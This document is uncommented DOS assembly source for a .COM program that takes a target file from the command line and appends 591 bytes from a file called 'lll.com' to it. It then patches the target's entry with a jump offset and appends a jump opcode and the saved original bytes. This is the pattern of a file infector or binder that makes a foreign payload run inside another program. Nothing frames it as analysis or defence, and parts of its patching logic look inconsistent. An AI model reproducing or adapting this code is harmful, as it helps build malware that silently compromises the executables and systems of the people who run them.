code segment assume cs:code,ds:code org 100h begin :jmp zd handle dw ? bdhand dw ? jmp db 0e9h len dw ? real dw ? dss dw ? bdfile db 'lll.com',0 zd proc near readline: mov al,byte ptr ds:[0080h] mov si,ax mov byte ptr [si+0081h],00 open: mov ax,0 mov al,2 mov ah,3dh mov dx,0082h int 21h mov handle,ax bdopen: mov al,0 mov ah,3dh mov dx,offset bdfile int 21h mov bdhand,ax mov ah,3fh mov dx,1000h mov cx,591 mov bx,bdhand int 21h read: mov al,0 mov dx,1 mov cx,0 call seek mov ah,3fh mov bx,handle mov cx,2 mov dx,offset real int 21h readlen: mov al,2 mov dx,0 mov cx,0 call seek mov dss,ax add ax,100h sub ax,103h mov len,ax mov ax,real add ax,103h add dss,100h+591 sub ax,3 sub ax,dss mov real,ax writebd: mov dx,0 mov cx,0 mov al,2 call seek mov cx,591 mov dx,1000h call write writejmp: mov dx,1 mov cx,0 mov al,0 call seek mov cx,2 mov dx,offset len call write writee9: mov dx,0 mov cx,0 mov al,2 call seek mov cx,1 mov dx,offset jmp call write writereal: mov dx,0 mov cx,0 mov al,2 call seek mov cx,2 mov dx,offset real call write close: mov ah,3eh mov bx,handle int 21h int 20h zd endp seek proc near mov ah,42h mov bx,handle int 21h ret seek endp write proc near mov ah,40h mov bx,handle int 21h ret write endp code ends end begin